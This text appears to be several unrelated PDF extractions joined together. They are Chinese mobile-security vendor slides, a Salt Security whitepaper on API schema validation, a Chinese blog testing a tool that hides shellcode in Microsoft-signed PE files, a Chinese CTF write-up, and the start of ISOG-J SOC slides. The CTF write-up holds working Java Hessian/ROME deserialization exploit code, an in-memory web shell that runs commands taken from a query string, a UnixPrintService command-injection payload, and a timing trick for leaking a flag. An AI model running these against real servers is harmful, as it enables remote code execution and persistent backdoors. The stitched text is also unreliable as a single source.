Ian Clarke & Oskar Sandberg - 2005 – p.33/33 | pdf |
下一代移动应用安全
江苏通付盾信息安全技术有限公司
移动应用发展
5 G 时 代 的 到 来 ?
G D P R 对 国 内 关 于 在 移 劢 应 用 数 据 方 面 未 来 的 影 响 ?
攻防不对等导致黑客屡屡得手
攻击被发现的平均时间
229天
企业自行发现的比例
33%
小时
月
天/ 周
问题不再是是否被黑,
而是什么时候被黑和你什么时候发现被黑
实施攻击
入侵得手
发现
补救
防护对象与防护边界的变化
外网
互联网
内网
业务
专网
数据,传输
从专业安全转向互联网+安全
从内向外
从边界安全转向IT生态安全
从一向多
业务驱动安全
互联网+
现今移动安全架构
移动终端
安全边界
核心业务区
业务系统
大数据
安全审计
虚拟化
安全防护
访
问
控
制
安全管理
入侵检测
监控预警
漏洞检测
准入控制
安全加密
身份认证
病
毒
检
测
访
问
控
制
流
量
清
洗
通信
4G/5G
终端应用:
实名认证
APP加固
不存储业务数据等
通信:
应用协议传输加密通道
抗DDoS攻击
蜜罐诱导攻击
APT攻击检测等
后台服务:
业务系统
大数据
云平台
安全管控:
安全审计
监控预警
入
侵
防
御
防御能力与业务发展不匹配
合规
要求
安全
滞后
管理
困难
平台
混杂
边界
不清
移劢办公
移劢作业
移劢业务
规划阶段
建设阶段
运行阶段
从静态防御到动态防御的趋势
发现
响应
取证
溯源
研判
拓展
智慧
协同
情报驱动
大数据安全分析
部署、维护困难
数据标准不统一
计算能力弱
从S-SDLC和DevSecOps相结合
移动应用开发安全全生命周期
安全功能的服务化、自动化工具
响应的时间可控制在一个很短的时间内
减少产品研发过程中的安全投入,增强安全效果
核心安全培
训
培训
确定安全要
求
创建质量门
/Bug栏
安全和隐私
风险评估
要求
确定设计要
求
分析攻击面
威胁建模
设计
使用批准工
具
弃用不安全
函数
静态分析
实施
劢态分析
模糊测试
攻击面评析
验证
事件响应计
划
最终安全评
估
发布存档
发布
执行事件响
应计划
响应
下一代移动应用安全
• 侦测事件
• 确认与优先级
• 事故隔离
• 补救与改进
• 设计与改进模型
• 调查与取证
• 加固与隔离系统
• 转移攻击
• 攻击事件防护
• 主劢发现分析
• 预测攻击
• 基线系统
预测
防御
检测
响应
立体化拟态防御体系
发起
1 攻击
发现
2 攻击
拦截
3 攻击
威胁
4 感知
精准
溯源
5
移动应用安全
防护
大数据学习和
分析
联动防御
移 动 应 用 全 业 务 流 程
下一代移动应用安全示意图
数据中心
OA
BI
ERP
CRM
BBS
邮件
营销
物流
IM
FTP
采购
…
Intranet
黑客
APT攻击者
僵尸网络
内部恶意员工
内部正常员工
内部恶意员工
Internet
移动应用安全威胁感知
安全数据采集
安全数据采集
硬件信息采集:
设备指纹、硬件
信息、系统信息、
应用信息、归属
地、网络类型、
行为信息等
环境信息采集:
root/越狱、是否
使用修改器框架、
是否模拟器、是
否存在病毒木马
威胁建模
安全数据采集
针对已知威胁建模
自定义规则建模
利用大数据技术和
人工智能技术进行
自学习建模
威胁情报
安全数据采集
全面分析设备、
系统、移动应用
等基本信息及程
序运行、运行环
境、攻击行为等
威胁信息,对攻
击时间、攻击来
源、攻击目标、
攻击手段等进行
全面的统计分析、
生成威胁情报
安全策略及展示
安全数据采集
对恶意攻击行为
的安全防御策略
配置
采用可视化技
术,形成威胁情
报的态势图,借
助态势可视化为
安全管理人员提
供辅助决策信
息。
借鉴Gartner理念
安全检测技术需要升级换代
1. CASB
2. 终端检测与响应(EDR)
3. 基于非签名方法的终端防御技术
4. 用户和实体行为分析(UEBA)技术
5. 微隔离和流可视性
6. DevOps安全
7. 情报驱劢的安全运营中心
8.远程浏览器技术
9.伪装技术
10.普适信任服务
人工智能
机器学习
深度学习
行为分析
下一代移动应用技术优势
纠缠感知:实现了终端与服务端无地域、无边界、实时态势感知。
动态生成防护:在收到威胁信号后,智能判定结果,自动生成防护方案。
自适应防护:面对不同的场景,采用灵活的自适应安全防护方案。
挑战:移动应用安全+神经网络
手动挡
自动挡
自动驾驶
汽车的发展历史:“把人解放出来,自适应环境降低操作的故障”
自动驾驶汽车发展的挑战:“机器学习训练,但依赖于可信的、广覆盖的环境数据”
手工命令行部署
图形化界面部署
人工智能+深度学习
“自适应、自学习
、自优化”
客服电话:400-831-8116
商务合作:[email protected]
官方网址:www.tongfudun.com
售后服务:[email protected] | pdf |
- 1 -
Limitations of
OAS-Based
Blocking
- 1 -
Table of Contents
Executive Summary
2
APIs - the attack is also the route to protection
3
Using OAS for Security
3
Limitations of OAS-Based Blocking
4
Summary
8
- 2 -
Executive Summary
The OpenAPI Specification (OAS) (fka Swagger) helps developers and security teams alike catalog,
document, and describe REST APIs. However, OAS-based security tools alone address only a small
fraction of the risk created with APIs and cannot help you prevent API breaches or data loss. When
implemented in a more stringent mode, OAS-based security tools will block legitimate traffic,
negatively impacting your customers, partners, and business operations, including revenue streams.
The following summaries capture the risks of depending on OAS for securing your APIs as well as
the ways in which the Salt Security solution provides comprehensive protection.
OAS Cannot Protect Against the Most Common and Critical API Threats
§
OAS lacks understanding of API logic, and organizations cannot create an OAS policy
to prevent attacks targeting API logic such as the top threats defined in the OWASP
API Security Top 10.
§
Salt Security uses big data and patented AI to establish a granular understanding of
the unique logic for each API and stops attacks with full coverage of the OWASP API
Security Top 10.
OAS Can Be Tricked and Bypassed
§
OAS lacks context of overall attacker activity and therefore can block only a specific
API call, not the attacker, allowing attackers to make endless attempts to bypass OAS
schema validation.
§
Salt Security correlates all attack activity from the same user, allowing security teams
to pinpoint and block attackers early during their reconnaissance before attacks are
successful.
OAS Risks Blocking Legitimate Traffic or Missing Attacks
§
OAS supports different validation techniques, each of which presents a challenge:
■ Using Strict Validation blocks any abnormal API call, including a parameter
value pattern mismatch, unknown parameters, or unknown endpoints, which
can result in blocking legitimate traffic when APIs are improperly documented.
■ Using Loose Validation with a generic and very broad contract, such as having
no pattern definitions or using generic data types such as “string,” will allow
many malicious API calls to pass through validation.
§
Salt Security does not depend on OAS or any other documentation but instead uses
big data and patented AI to analyze API traffic, establish a granular baseline of
legitimate behavior, and differentiate between legitimate abnormal users and
attackers who are performing reconnaissance.
סדב
- 3 -
OAS is Often Incomplete or Lacks Needed Details
§
OAS often has missing or inaccurate information including Shadow APIs, Shadow
Endpoints, Shadow Parameters, and Parameter Definition Discrepancies and
therefore lacks the details needed for enforcement.
§
Salt Security automatically discovers all public, private, or partner-facing APIs with
granular details down to the parameter level. This approach not only verifies the
accuracy of manual inventory efforts but also eliminates the risk of missing or
inaccurate information while improving visibility of your complete API attack surface.
APIs - the Attack Is Also the Route to Protection
Unlike with other security vectors such as OS vulnerabilities, attackers cannot find API vulnerabilities
through research or in their lab. APIs are a black box – no one aside from the developer has the
code. To look for opportunities to hack into data or accounts via an API, attackers must perform real-
time trial-and-error efforts, called reconnaissance, to find a route in. This process of reconnaissance
can take days or weeks, because attackers don’t have the code and must probe to learn your API
while trying to stay under the radar.
The goal of the defender is to stop attackers early during reconnaissance, before they find a
vulnerability, and to do so without blocking legitimate API calls.
Using OAS for Security
The OpenAPI Specification (OAS) (fka Swagger) is a useful way to describe REST APIs, and an OAS
file can be valuable to both development and security teams. In the context of security, OAS can be
used as a schema to define and validate API input. Expected input is defined in the OAS, and
traditional security tools will use it to ensure the API input conforms. For example, a developer may
define a given parameter as a string with a specific length limit and types of characters. Any input
that falls outside that definition will be blocked.
Depending solely on OAS for security will cover only a small percentage of the risk created with APIs
and therefore will not prevent API breaches or data loss. Relying on OAS can also negatively impact
your customers, partners, and business operations, including revenue streams, by blocking
legitimate traffic.
סדב
- 4 -
Limitations of OAS-Based Blocking
OAS-based blocking suffers from a number of limitations, including:
OAS Cannot Protect Against the Most Common and Critical API Threats
OAS-based schema blocking will not protect against the most common and most critical API threats
as outlined in the OWASP API Security Top 10, which includes Broken Object Level Authorization
(BOLA) (API1:2019) as the number one threat to APIs. Other threats include Broken User
Authentication (API2:2019) and Lack of Resources & Rate Limiting (API4:2019).
Preventing attacks targeting these types of vulnerabilities requires a deep understanding of API
logic, such as who should have access, to which data, and the acceptable rate of access. OAS lacks
this level of API logic understanding, so attacks targeting API logic will pass any API call schema
validation. In addition, since OAS does not understand the logic of your APIs, you cannot create a
policy to prevent these types of attacks.
Also consider that many API attacks consist of a string of events. Identifying and blocking these types
of attacks requires correlation across these events to gain the full context, another capability not
possible with OAS.
OAS Can Be Tricked and Bypassed
OAS-based security approaches look to block a specific API call, not the attacker. As a result,
attackers have an endless number of attempts, so they can continue to look for ways to bypass OAS
schema-based validation by using various techniques such as encoding the malicious values,
parameter pollution, and more. Read about the Paypal RCE parameter pollution example for more
information on bypassing input validation.
OAS approaches lack the context needed to stitch together overall attacker activity and build a
profile to pinpoint and block the attacker. OAS-based blocking might slow down attackers during
reconnaissance, but it will not stop them from eventually finding a vulnerability and exploiting it.
OAS Risks blocking Legitimate Traffic or Missing Attacks
Users have two options for validating API calls based on OAS: strict and loose.
1. Strict Validation - “Strict validation” results in blocking any API call that does not exactly
match the OAS. Such “misses” might include a mismatch in the parameter value pattern,
using unknown parameters, reaching unknown endpoints, or other anomalies.
Legitimate abnormal API calls are part of every API by design and can originate from old
client versions (e.g., web or mobile apps), different devices, browsers, and user types (e.g.,
admin vs. user), edge cases of normal values (e.g., very long name), and, most importantly,
any small change such as adding a new parameter to an API call.
All of these cases might represent a small percentage of total API traffic, but when
considering millions of monthly API calls, many abnormal but legitimate API calls will be
blocked, resulting in impact to revenue and your business.
Salt Security has found, in many cases, the most important customers and partners have
customized capabilities in APIs, making them likely to generate abnormal API calls. These
users and calls are often the most important not to block.
סדב
- 5 -
2. Loose Validation - Unfortunately not all of these legitimate but abnormal API calls can be
realistically covered in pre-production testing. Rather than risk blocking legitimate traffic,
many organizations instead opt to leverage “loose validation” in OAS. In this approach, teams
define the API contract in generic and very broad terms. So for example, the OAS will contain
no pattern definitions and will include generic data types such as “String.” Unfortunately,
applying this validation fails to achieve the main goal of protecting APIs, because it allows
many malicious API calls to pass, leaving your APIs vulnerable.
OAS is Often Incomplete or Lacks Needed Details
OAS-based blocking comes with risks based on availability, completeness, and accuracy. If the OAS
contains missing or inaccurate information, the needed details are unknown and can’t be used for
enforcement. Also consider that an OAS needs to be kept up to date with new versions and changes
to APIs, something that is often missed or lags behind the development and release cycle.
Salt Security has found gaps of up to 40% between what’s documented in OAS files and what is
present in the product APIs. These gaps fall into the following three categories:
1. Shadow API Endpoints – API endpoints that are missing from the OAS. In the following
example, Salt Security research found an additional 54 endpoints that were not included in
the Swager/OAS documentation, and 12 of those undocumented endpoints were exposing
sensitive PII data.
סדב
- 6 -
2. Shadow Parameters – API endpoints known to exist but whose documentation is missing
many parameters. As a result, the documentation does not cover the majority of the attack
surface – in this research, documentation listed three parameters, but the Salt Security
platform identified 102 parameters.
3. Parameter Definition Discrepancies – in addition to many missing parameters, data types
that lack needed details such as “String” instead of “UUID” or “DateTime” will make APIs
vulnerable, since any input will be processed
- 7 -
Blocking Attacks Without Blocking Legitimate Traffic
Focus on the Attacker - Preventing attackers from finding a vulnerability depends on analyzing all
API activity and correlating and isolating attacker activity and identity. To launch attacks via APIs,
attackers must perform reconnaissance, where they probe the API to learn its logic and uncover its
vulnerabilities. Watching all API activity reveals user intent. Identifying the actions that do not
conform to typical API traffic patterns, and correlating atypical activity back to a single attacker,
enables solutions to detect and stop attackers early in their process, before they are successful.
Consider the analogy of the credit score. To compute a credit score, systems assess an individual,
identified by a social security number (SSN), across multiple financial activities and over a period of
time – not by looking at just a single transaction. As a result, a lender can assess risk and make a
decision about loaning money to an individual with complete context. If a system attempted to
assess the risk of a specific transaction, without any knowledge of the individual’s transactional
history, it would be unable to know whether it should approve or deny a transaction. The same
concept applies to users and their API calls.
Block the Source of the Attack - Salt Security leverages big data and patented artificial intelligence
(AI) to create a baseline of normal activity for your APIs. Much like a credit score, our big data-based
approach creates a profile for all individual users in real time to determine if they are legitimately
abnormal – that is, have perpetrated an isolated abnormality – or are instead a malicious attacker
performing reconnaissance. This full-context approach enables the identification of attackers with
close to zero false positives and supports blocking with confidence before attackers find a
vulnerability.
Salt Security uses many identifiers that it correlates and uses to pinpoint and block attackers.
Examples of identifiers include tokens, user IDs, decoded JWT parameters, device IDs, and other
data.
Is Input Validation Bad?
Input validation and sanitization are good practices. However, they do not provide the full answer to
API security.
1. Input validation covers a fraction of the problem – input validation provides a basic step
that eliminates only a small percentage of the overall API attack surface.
2. It’s not all or nothing – validation that is too strict is theoretical and impractical. Customers
that have tried this approach have dropped legitimate traffic, harming their business
transactions. They must then switch to a detection mode and then find themselves flooded
with false positive alerts for every API call that does not match their OAS schema.
Effective Prevention with Salt Security
Being a big data and AI solution, Salt Security uncovers the full context of activity for every user. This
approach provides several crucial advantages:
1. Block only malicious traffic and malicious attackers – Salt Security can differentiate
between legitimate abnormal users and attackers who are performing reconnaissance. As a
result, you can identify and stop attackers early in their process, before their attacks are
successful.
2. Block top API attacks that cannot be stopped by OAS schema-based validation – Salt
Security provides full coverage of all API attacks, including protecting against the threats
identified in the OWASP API Security Top 10. Attacks targeting these vulnerabilities cannot
- 8 -
Request a demo today!
[email protected]
www.salt.security
Salt Security protects the APIs that are at the core of every modern application. The
company's API Protection Platform is the industry’s first patented solution to prevent
the next generation of API attacks, using behavioral protection. Deployed in minutes,
the AI-powered solution automatically and continuously discovers and learns the
3. be prevented unless a solution has a granular understanding of the uniqueness of every API
to stop attackers based on behavior when a schema is just too basic.
4. Leverage automated and error-free API discovery for more strict validation – Most OASs
are far from being accurate and fail to cover all cases. Salt Security supports OAS ingestion
and analysis as part of your CI/CD, and we will automatically update your OAS to increase
accuracy based on our real-time and dynamic understanding of your environments. As a
result, you can apply more strict validation for your sensitive API calls across various
programming language frameworks without the need to deploy an OAS-based validation
tool such as an in-line proxy.
Summary
OAS documentation is useful for both development and security teams, but OAS-based security
tools have inherent shortcomings that limit protection to only a small percentage API risk and
therefore will not prevent API breaches or data loss.
Salt Security provides complete API security, using big data and AI to uncover the full context of
activity for every user and pinpoint attackers. Salt Security leverages this context to protect APIs from
all 10 OWASP API Security threats, most of which OAS-based tools miss. The Salt Security approach
also eliminates the risk of blocking legitimate traffic and increases the accuracy of your OAS efforts.
Visit https://salt.security/demo/ to see how the Salt Security API Protection Platform can improve
your API security. | pdf |
微软签名缺陷利用 - 老但有用的技术
0x00 前言
这项技术原理很简单,一般正规公司开发的PE文件都有数字签名,但是微软提供的签名技术,并没有签
名所有数据,还有部分结构体,没有纳入签名计算,因此我们可以修改这些结构体,放入我们的
shellcode,而不影响签名校验。
这项技术到底有多大用呢?我的结论是作用只能算锦上添花,不是雪中送碳的技术。这2天有个老哥把这
项技术写成了适合CS使用的.net和BOF程序。我们看看他的程序结构。
0x00 SigFile红队工具分析
首先我们通过作者提供的SigFile程序把shellcode通过加密保存在正规的PE文件中,然后上传到目标服
务器。在这一步会面临AV/EDR的静态扫描,大部分杀软发现是正规签名(比如微软签名)就直接放过
了,因此这一步落地被杀的几率不高,但是因为这项技术至少可以追溯到2013年以前,也就是说10年老
技术了,因此被杀软针对性查杀的可能性还是较高的,这就是攻防对抗,随着时间推移,没有一招鲜吃
遍天的可能。这一步我们按照1-10分的查杀可能,我打7分。
接下来就是使用SigLoad读取被嵌入正常PE的shellcode,这一步中sigLoad是用.net和bof开发的可以在
内存中使用不落地。因为正常的PE内存中展开是没有包含我们写shellcode的哪些字段。因此我们读取方
法和读取一个文本类似,就是打开文件,找到物理偏移,然后读取,再解密加载执行。唯一的优势是,
我们的这个“文本”是被正规签名的PE,这样可以更OPSEC一点。
读取完shellcode,就是执行shellcode了,这一步就和本文提到的技术没有任何关系了。sigLoad使用的
是常规的远程进程注入OpenProcess+VirtualAllocEx+WriteProcessMemory+CreateRemoteThread。
这样的一连串的API调用,被杀的几率很大。
因此我们从功能上拆解下sigFile这个工具,shellcode插入高信誉签名PE、SigLoad加载合成的PE并执行
shellcode,这就是这个工具的2大功能,涉及到本文提到的签名漏洞问题的核心就前2个功能,因此根据
我个人判断这项技术杀软对抗的作用其实没想想的那么大。
0x00 使用测试
我们先利用SigFile制作一个包含shellcode的正规签名PE:
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-10
No. 1 / 5 - Welcome to www.red-team.cn
成功不改变数字签名的情况下加入了shellcode,注意签名没变,但是文件hash变了。我们使用cs试试
看能不能正常使用。
我们先看系统有没有打补丁,这个补丁13年就出了https://docs.microsoft.com/en-us/security-update
s/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN,很关键的一点就是,不默认开启。
通过查看,非管理员权限也是可以的。
reg query x86 HKLM\Software\Microsoft\Cryptography\Wintrust\Config
reg query x64 HKLM\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config
如果上面注册表路径存在,则检测EnableCertPaddingCheck值是否为1,1为开启。
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-10
No. 2 / 5 - Welcome to www.red-team.cn
默认没有相关配置。我们使用CS试试作者的SigLoader加载shellcode试试。一来就给我报了个这个错:
然后我把里面冗余的代码删了删,例如:代码中当前线程执行shellcode的代码删除了,因为没有用,作
者使用的是Loader.cs中的远程进程注入。然后把原来使用的.net4.6.1调低到4.5,再编译,就可以了。
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-10
No. 3 / 5 - Welcome to www.red-team.cn
显示成功了,但是一注入就进程崩溃,建议大家谨慎使用,于是我把它注入的那段代码改了,但是尼瑪
還是失败,最后我对比解密的shellcode发现少了一截。垃圾代码。于是我读了下加解密代码。发现作者
偏移搞错了。于是没把加密的shellcode读完,解密出来的也就不全了。于是改了改代码。ok,再测试。
最后成功了。
0x00 总结
由于浪费我1个多小时去找代码bug,我只能评价垃圾!垃圾!垃圾!看朋友圈有其他同学测试成功,我
不知道他们怎么成功的,可能用的bof的代码,我这儿bof就不测试了。回归正题,微软签名缺陷这个漏
洞APT10很早就用过了,不是新东西,但是微软虽然有修复方案,但是不是默认配置,因此可用度应该
很高。这个技术具体杀软对抗能力有多强,我持保留意见,因为杀软对抗已经过了单点对抗的年代,而
这个技术也只是对抗中一个点而已,后面的进程操作不免杀,也是等于零。
Stream stream = new MemoryStream(_peBlob);
long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin);
Console.WriteLine("[+]: Shellcode located at {0:x2}", pos);
//垃圾原始代碼
//byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)];
//stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos +
_tag.Length));
byte[] shellcode = new byte[_peBlob.Length - (int)pos ];
stream.Read(shellcode, 0, (_peBlob.Length)- (int)pos);
byte[] b_shellcode = Utils.Decrypt(shellcode, _encKey);
stream.Close();
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-10
No. 4 / 5 - Welcome to www.red-team.cn
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-10
No. 5 / 5 - Welcome to www.red-team.cn | pdf |
@Y4tacker
2022虎符CTF-Java部分
写在前⾯
⾮⼩⽩⽂,代码基于marshalsec项⽬基础上进⾏修改
正⽂
本⾝我是不太懂hessian的反序列化,⼤概去⽹上搜了⼀下配合ROME利⽤的思路(如果反序
列化map对象,在逻辑后⾯通过put操作,从⽽触发对key调⽤hashCode打ROME),这⾥不清
楚可以看看ROME利⽤链以及hessian反序列化的⼀些简单东西
⾸先简单看下docker,可以看到会导致不能出⽹
version: '2.4'
services:
nginx:
image: nginx:1.15
ports:
- "0.0.0.0:8090:80"
restart: always
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
networks:
- internal_network
- out_network
web:
build: ./
restart: always
volumes:
nginx.conf
- ./flag:/flag:ro
networks:
- internal_network
networks:
internal_network:
internal: true
ipam:
driver: default
out_network:
ipam:
driver: default
server {
listen 80;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
proxy_pass http://web:8090;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
利⽤⼀:SignedObject实现⼆次反序列化
既然不出⽹那就⽆法配合JNDI去利⽤了(⽹上主流的利⽤),后⾯尝试了TemplatesImpl,在
Hessian的⼀些限制下(有空⾃⼰去看源码),导致被 transient 修饰的 _tfactory 对象⽆法
写⼊造成空指针异常,为什么呢,⾃⼰看图可以看到不仅仅是被 transient 修饰,同时静态变
量也不⾏,这⾥导致另⼀个利⽤链不能打,这⾥不提
之后解决思路就是找个⼆次反序列化的点触发原⽣反序列化即可,最后找到
个 java.security.SignedObject#SignedObject ,⾥⾯的getObject可以触发
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
这时候聪明的你⼀定想问,为什么原⽣反序列化就可以恢复这个 trasient 修饰的变量呢,
答案如
下 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject ,
重写了readOBject⽅法
因此得到下⾯简单的payload,下⾯payload有⼀些地⽅还可以完善变得更好,但是我懒
package marshalsec;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import marshalsec.gadgets.JDKUtil;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import static marshalsec.util.Reflections.setFieldValue;
public class Test {
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get("Yyds").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","abc");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_tfactory",new
TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{code});
ToStringBean bean = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new
BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException,"val",bean);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject so = null;
so = new SignedObject(badAttributeValueExpException, privateKey,
signingEngine);
这样就可以实现执⾏反序列化打 TemplatesImpl 加载恶意代码了,接下来既然不出⽹,⽐较
⽅便的就是去注⼊内存马
按照经验来讲Web中间件是多线程的应⽤,⼀般requst对象都会存储在线程对象中,可以通过
Thread.currentThread() 或 Thread.getThreads() 获取,按照这个思路写就⾏了
ObjectBean delegate = new ObjectBean(SignedObject.class, so);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> map = JDKUtil.makeMap(root, root);
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map);
output.getBytesOutputStream().flush();
output.completeMessage();
output.close();
System.out.println(new
String(Base64.getEncoder().encode(os.toByteArray())));
}
}
我是懒狗之间暴⼒替换handler(继承AbstractTranslet实现HttpHandler),嫌弃⿇烦可以⾃⼰加路
由可以让代码更短,还可以放到静态块防⽌触发两次,⼀句话我懒⾃⼰改去
import com.sun.net.httpserver.HttpContext;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.*;
import java.lang.reflect.Field;
public class Yyds extends AbstractTranslet implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String response = "Y4tacker's MemoryShell";
String query = t.getRequestURI().getQuery();
String[] var3 = query.split("=");
System.out.println(var3[0]+var3[1]);
ByteArrayOutputStream output = null;
if (var3[0].equals("y4tacker")){
InputStream inputStream =
Runtime.getRuntime().exec(var3[1]).getInputStream();
output = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int n = 0;
while (-1 != (n = inputStream.read(buffer))) {
output.write(buffer, 0, n);
}
}
response+=("\n"+new String(output.toByteArray()));
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {
}
public Yyds() throws Exception {
super();
try{
Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("Thread-2")) {
try {
field =
thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
System.out.println(obj);
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
其实可以去静态块改⼀下,不然执⾏两次多多少少有点烦,就这样了so easy
当然太暴⼒了也不好哈哈哈,还可以在上⾯的
sun.net.httpserver.ServerImpl$Dispatcher 直接执
⾏ sun.net.httpserver.ServerImpl#createContext(java.lang.String,
com.sun.net.httpserver.HttpHandler) 创建新的路由即可
这⾥就不写了,⼀个字懒,反正也不难
field =
obj.getClass().getDeclaredField("contexts");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("list");
field.setAccessible(true);
obj = field.get(obj);
java.util.LinkedList lt =
(java.util.LinkedList)obj;
Object o = lt.get(0);
field = o.getClass().getDeclaredField("handler");
field.setAccessible(true);
field.set(o,this);
}catch (Exception e){
e.printStackTrace();
}
}
}
}catch (Exception e){
}
}
}
实现效果
利⽤⼆:UnixPrintService直接执⾏命令
之前不清楚,后⾯@wuyx师傅提醒我才发现可以不⽤实现序列化接⼜,具体可以参考
marshalsec的实现
在 sun.print.UnixPrintService 的所有get⽅法都能触发,别看这个是Unix其实linux也
有,在⾼版本被移除(有兴趣⾃⼰考古),利⽤⽅式就是简单命令拼接执⾏(缺点就是太能弹
了,基本上每个get⽅法都能弹)
HessianBase.NoWriteReplaceSerializerFactory sf = new
HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);
Constructor<UnixPrintService> declaredConstructor =
UnixPrintService.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class,
declaredConstructor.newInstance(";open -na Calculator"));
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> map = JDKUtil.makeMap(root, root);
//
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
HessianBase.NoWriteReplaceSerializerFactory sf = new
HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);
output.writeObject(map);
output.getBytesOutputStream().flush();
output.completeMessage();
拿flag的话就两种⽅式 JavaAgent 注⼊内存马,或者本来就是ctf
如何快速拿利⽤链
在这次⽐赛后我简单学习了下⽤tabby,通过下⾯的neo4j查询语句,之后⼈⼯排查下
利⽤⼀:
利⽤⼆:
output.close();
System.out.println(new
String(Base64.getEncoder().encode(os.toByteArray())));
if [ `cut -c 1 flag` = "a" ];then sleep 2;fi
match path=(m1:Method)-[:CALL*..3]->(m2:Method {}) where m1.NAME =~
"get.*" and m1.PARAMETER_SIZE=0 and (m2.NAME =~ "exec.*" or m2.NAME =~
"readObject") return path
总的来说还是学的挺多,挺有收获的⼀个⽐赛 | pdf |
Information Security Operation providers Group Japan
©ISOG-J
How to make your SOC/CSIRT team more
trustworthy?: ISOG-J Maturity Model and
self-checking tool
Yasunari Momoi [email protected]
Internet Initiative Japan Inc. / ISOG-J
1
©ISOG-J
Information Security Operation providers Group Japan
Agenda
•
about me
•
what is ISOG-J?
– past ISOG-J activities
•
building security team
– documents and frameworks
•
improving your security team using the viewpoint of operation
– introduce some ISOG-J’s documents and tools
– some interest points of evaluating results
•
Cybersecurity information sharing
2
©ISOG-J
Information Security Operation providers Group Japan
About me
•
momo: Yasunari Momoi
–
Internet Initiative Japan Inc., IIJ-SECT member
–
Office of Emergency Response and Clearinghouse for Security Information,
Advanced Security Division
–
Facebook ymomoi Twitter @sbg
•
Security, SOC/CSIRT, Software Developer, Server/Network Engineer
–
Develop some managed security services, operators dashboard, software tools for
analyzing security logs, etc...
•
Acting as a CSIRT member
–
FIRST, FIRST Japan Teams, NCA (Nippon CSIRT Association)
–
ISOG-J, ICT-ISAC
•
Special Interest
–
local foods, Heavy Metal, cats
3
©ISOG-J
Information Security Operation providers Group Japan
WHAT IS ISOG-J?
4
©ISOG-J
Information Security Operation providers Group Japan
What is ISOG-J
• the Information Security Operation providers Group Japan
– established 2008
– ISOG-J is a professional community for security operation providers
– a forum to share information about security operation and resolve
common issues.
• ISOG-J’s pronunciation is “ee-sog-jay”
– the meaning is “Got to hurry, Japan!”
• http://isog-j.org/e/
5
©ISOG-J
Information Security Operation providers Group Japan
2009
established
IIJ, IIJ Technology, NTT Data, NEC, NTT, Hitachi Systems, Fujitsu, MBSD, NRI Secure, LAC
